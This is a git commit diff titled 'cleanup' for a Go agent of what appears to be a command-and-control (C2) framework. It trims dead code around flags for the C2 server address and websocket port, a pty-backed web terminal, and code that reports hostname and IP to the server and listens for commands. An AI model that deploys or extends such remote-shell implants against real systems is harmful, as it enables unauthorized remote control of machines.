cleanup
This commit is contained in:
parent
34f64dba09
commit
238540663f
2
Makefile
2
Makefile
|
@ -18,7 +18,7 @@ build: ## Build the application
|
||||||
|
|
||||||
build-static: ## Build a static application
|
build-static: ## Build a static application
|
||||||
@echo "Building static $(APP_NAME)..."
|
@echo "Building static $(APP_NAME)..."
|
||||||
$(GO_BUILD) --ldflags '-linkmode=external -extldflags=-static -w' -o $(BINARY)-static
|
CGO_ENABLED=0 $(GO_BUILD) --ldflags '-extldflags=-static -w -s' -o $(BINARY)-static
|
||||||
|
|
||||||
install: build ## Install the application
|
install: build ## Install the application
|
||||||
@echo "Installing $(APP_NAME)..."
|
@echo "Installing $(APP_NAME)..."
|
||||||
|
|
41
main.go
41
main.go
|
@ -570,64 +570,36 @@ func startInteractiveServer(cliInteractivePort, networkInterface string) (string
|
||||||
|
|
||||||
addPort = strconv.Itoa(listener.Addr().(*net.TCPAddr).Port)
|
addPort = strconv.Itoa(listener.Addr().(*net.TCPAddr).Port)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
// if len(cliInteractivePort) > 0 {
|
|
||||||
// addPort = cliInteractivePort
|
|
||||||
// listener, err = net.Listen("tcp", ":" + addPort)
|
|
||||||
// } else {
|
|
||||||
// listener, err = net.Listen("tcp", ":0")
|
|
||||||
// addPort = strconv.Itoa(listener.Addr().(*net.TCPAddr).Port)
|
|
||||||
// }
|
|
||||||
|
|
||||||
// if err != nil {
|
|
||||||
// log.Fatal(err)
|
|
||||||
// }
|
|
||||||
|
|
||||||
return addPort, listener
|
return addPort, listener
|
||||||
}
|
}
|
||||||
|
|
||||||
// func connectionArgs () (string, string) {
|
|
||||||
func connectionArgs () (string, string, string) {
|
func connectionArgs () (string, string, string) {
|
||||||
// Get IP address and port of the server through the
|
|
||||||
var serverAddress string
|
var serverAddress string
|
||||||
// var serverPort string
|
|
||||||
var serverWebsocketPort string
|
var serverWebsocketPort string
|
||||||
var interactivePort string
|
var interactivePort string
|
||||||
var networkInterface string
|
var networkInterface string
|
||||||
|
|
||||||
flag.StringVar(&serverAddress, "address", "127.0.0.1", "IP Address of the C2 server.")
|
flag.StringVar(&serverAddress, "server-address", "127.0.0.1", "IP Address of the C2 server.")
|
||||||
// flag.StringVar(&serverPort, "server-port", "3333", "Port of the C2 server. This is obsolete.")
|
flag.StringVar(&serverWebsocketPort, "server-port", "5555", "Websocket port of the C2 server.")
|
||||||
flag.StringVar(&serverWebsocketPort, "port", "5555", "Websocket port of the C2 server.")
|
|
||||||
|
|
||||||
flag.StringVar(&interactivePort, "interactive-port", "", "Port to connect directly to the agent's webapp. Port will be random if not set.")
|
flag.StringVar(&interactivePort, "interactive-port", "", "Port to connect directly to the agent's webapp. Port will be random if not set.")
|
||||||
|
flag.StringVar(&networkInterface, "network-interface", "", "Network interface to bind to. Will bind to the first non loopback interface if not set. VPN interfaces will be preferred.")
|
||||||
flag.StringVar(&networkInterface, "network-interface", "", "Network interface to bind to. Will bind to the first non loopback interface if not set.")
|
|
||||||
|
|
||||||
flag.Parse()
|
flag.Parse()
|
||||||
|
|
||||||
fmt.Println("Server address is at ", serverAddress)
|
log.Println("Server address is at ", serverAddress)
|
||||||
// fmt.Println("Server web port is ", serverPort)
|
log.Println("Server websocket port is ", serverWebsocketPort)
|
||||||
fmt.Println("Server websocket port is ", serverWebsocketPort)
|
|
||||||
|
|
||||||
// webServerAddr := serverAddress + ":" + serverPort
|
|
||||||
webSocketAddr := serverAddress + ":" + serverWebsocketPort
|
webSocketAddr := serverAddress + ":" + serverWebsocketPort
|
||||||
|
|
||||||
// return webServerAddr, webSocketAddr
|
|
||||||
|
|
||||||
return webSocketAddr, interactivePort, networkInterface
|
return webSocketAddr, interactivePort, networkInterface
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
|
||||||
webSocketAddr, cliInteractivePort, networkInterface := connectionArgs()
|
webSocketAddr, cliInteractivePort, networkInterface := connectionArgs()
|
||||||
|
|
||||||
addPort, listener := startInteractiveServer(cliInteractivePort, networkInterface)
|
addPort, listener := startInteractiveServer(cliInteractivePort, networkInterface)
|
||||||
|
|
||||||
// log.Println("Using network interface:", networkInterface)
|
|
||||||
ipv4Addr := listener.Addr().(*net.TCPAddr).IP.String()
|
ipv4Addr := listener.Addr().(*net.TCPAddr).IP.String()
|
||||||
log.Printf("You can connect to %s:%d through your browser as well",
|
log.Printf("You can connect to %s:%d through your browser as well",
|
||||||
ipv4Addr,
|
ipv4Addr,
|
||||||
|
@ -671,9 +643,6 @@ func terminalHandler (w http.ResponseWriter, r *http.Request) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
defer func() { _ = ptmx.Close() }()
|
defer func() { _ = ptmx.Close() }()
|
||||||
// ptmx.Write([]byte("stty raw -echo\n"))
|
|
||||||
// ptmx.Write([]byte("stty -echo\n"))
|
|
||||||
// ptmx.Write([]byte("export SHELL=bash 1>&2 2>/dev/null; export TERM=xterm-256color 1>&2 2>/dev/null"))
|
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
buf := make([]byte, 1024)
|
buf := make([]byte, 1024)
|
||||||
|
|
|
@ -2,10 +2,8 @@ package agentconnector
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
// "flag"
|
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
// "net/http"
|
|
||||||
"net/url"
|
"net/url"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"os"
|
"os"
|
||||||
|
@ -13,26 +11,10 @@ import (
|
||||||
"math/rand"
|
"math/rand"
|
||||||
"math"
|
"math"
|
||||||
"strconv"
|
"strconv"
|
||||||
"net"
|
|
||||||
|
|
||||||
"github.com/gorilla/websocket"
|
"github.com/gorilla/websocket"
|
||||||
)
|
)
|
||||||
|
|
||||||
// const(
|
|
||||||
// webServerAddr = "127.0.0.1:3333"
|
|
||||||
// webSocketAddr = "127.0.0.1:5555"
|
|
||||||
// registerURL = "http://" + webServerAddr + "/agents"
|
|
||||||
// // wsURL = "ws://" + webSocketAddr + "/data"
|
|
||||||
// )
|
|
||||||
|
|
||||||
// var (
|
|
||||||
// webServerAddr string
|
|
||||||
// webSocketAddr string
|
|
||||||
// registerURL = "http://" + webServerAddr + "/agents"
|
|
||||||
// // wsURL = "ws://" + webSocketAddr + "/data"
|
|
||||||
// )
|
|
||||||
|
|
||||||
|
|
||||||
type Agent struct {
|
type Agent struct {
|
||||||
AgentName string `json:"agentName"`
|
AgentName string `json:"agentName"`
|
||||||
AgentID string `json:"agentId"`
|
AgentID string `json:"agentId"`
|
||||||
|
@ -51,30 +33,6 @@ type Message struct {
|
||||||
|
|
||||||
var conn *websocket.Conn
|
var conn *websocket.Conn
|
||||||
|
|
||||||
// func registerAgent(agentName, agentId, agentIp, agentType, addPort, hostname string) error {
|
|
||||||
|
|
||||||
// form := url.Values{}
|
|
||||||
// form.Add("agentId", agentId)
|
|
||||||
// form.Add("agentName", agentName)
|
|
||||||
// form.Add("agentType", agentType)
|
|
||||||
// form.Add("IPv4Address", agentIp)
|
|
||||||
// form.Add("addPort", addPort)
|
|
||||||
// form.Add("hostname", hostname)
|
|
||||||
|
|
||||||
// resp, err := http.PostForm(registerURL, form)
|
|
||||||
// if err != nil {
|
|
||||||
// return fmt.Errorf("Error registering agent: %v", err)
|
|
||||||
// }
|
|
||||||
// defer resp.Body.Close()
|
|
||||||
|
|
||||||
// if resp.StatusCode != http.StatusCreated {
|
|
||||||
// return fmt.Errorf("Failed to register agent, status: %v", resp.Status)
|
|
||||||
// }
|
|
||||||
|
|
||||||
// log.Printf("Agent %s successfully registered.", agentName)
|
|
||||||
// return nil
|
|
||||||
// }
|
|
||||||
|
|
||||||
func connectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname string) error {
|
func connectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname string) error {
|
||||||
wsURL := fmt.Sprintf(
|
wsURL := fmt.Sprintf(
|
||||||
"ws://%s/data?agentName=%s&agentId=%s&IPv4Address=%s&agentType=%s&addPort=%s&hostname=%s",
|
"ws://%s/data?agentName=%s&agentId=%s&IPv4Address=%s&agentType=%s&addPort=%s&hostname=%s",
|
||||||
|
@ -91,7 +49,6 @@ func connectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, a
|
||||||
conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil)
|
conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
log.Println("WebSocket connection established")
|
log.Println("WebSocket connection established")
|
||||||
// logger.LogEntries = append(logger.LogEntries, fmt.Sprintf("%s websocket established", time.Now().Format(time.RFC3339)))
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -172,62 +129,22 @@ func listenForCommands(webSocketAddr, agentName, agentId, agentIp, agentType, ad
|
||||||
}
|
}
|
||||||
|
|
||||||
func randomInt(length int) int {
|
func randomInt(length int) int {
|
||||||
rand.Seed(time.Now().UnixNano())
|
rand.New(rand.NewSource(time.Now().UnixNano()))
|
||||||
min := int(math.Pow10(length-1))
|
min := int(math.Pow10(length-1))
|
||||||
max := int(math.Pow10(length)) -1
|
max := int(math.Pow10(length)) -1
|
||||||
return rand.Intn(max-min+1) + min
|
return rand.Intn(max-min+1) + min
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func GetLocalIP() net.IP {
|
|
||||||
addrs, err := net.InterfaceAddrs()
|
|
||||||
if err != nil {
|
|
||||||
log.Fatal(err)
|
|
||||||
}
|
|
||||||
for _, address := range addrs {
|
|
||||||
if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
|
|
||||||
if ipnet.IP.To4() != nil {
|
|
||||||
return ipnet.IP
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func GetLocalIPs() []net.IP {
|
|
||||||
var ips []net.IP
|
|
||||||
addrs, err := net.InterfaceAddrs()
|
|
||||||
if err != nil {
|
|
||||||
log.Fatal(err)
|
|
||||||
}
|
|
||||||
for _, address := range addrs {
|
|
||||||
if ipnet, ok := address.(*net.IPNet); ok {
|
|
||||||
if ipnet.IP.To4() != nil {
|
|
||||||
ips = append(ips, ipnet.IP)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return ips
|
|
||||||
}
|
|
||||||
|
|
||||||
// func main() {
|
|
||||||
func StartServer(addPort, webSocketAddr, agentIp string){
|
func StartServer(addPort, webSocketAddr, agentIp string){
|
||||||
|
|
||||||
// webSocketAddr, cliInteractivePort := connectionArgs()
|
|
||||||
|
|
||||||
// agentInteractivePort is only needed for interactive sessions
|
|
||||||
agentName := "Agent-001"
|
agentName := "Agent-001"
|
||||||
agentId := strconv.Itoa(randomInt(8))
|
agentId := strconv.Itoa(randomInt(8))
|
||||||
// agentIp := GetLocalIP().String()
|
|
||||||
agentType := "Interactive"
|
agentType := "Interactive"
|
||||||
hostname, _ := os.Hostname()
|
hostname, _ := os.Hostname()
|
||||||
|
|
||||||
log.Printf("AgentId: %s", agentId)
|
log.Printf("AgentId: %s", agentId)
|
||||||
|
|
||||||
// if err := registerAgent(agentName, agentId, agentIp, agentType); err != nil {
|
|
||||||
// log.Fatalf("Agent registration failed: %v", err)
|
|
||||||
// }
|
|
||||||
|
|
||||||
if err := connectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname); err != nil {
|
if err := connectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname); err != nil {
|
||||||
log.Fatalf("Websocket connection failed: %v", err)
|
log.Fatalf("Websocket connection failed: %v", err)
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue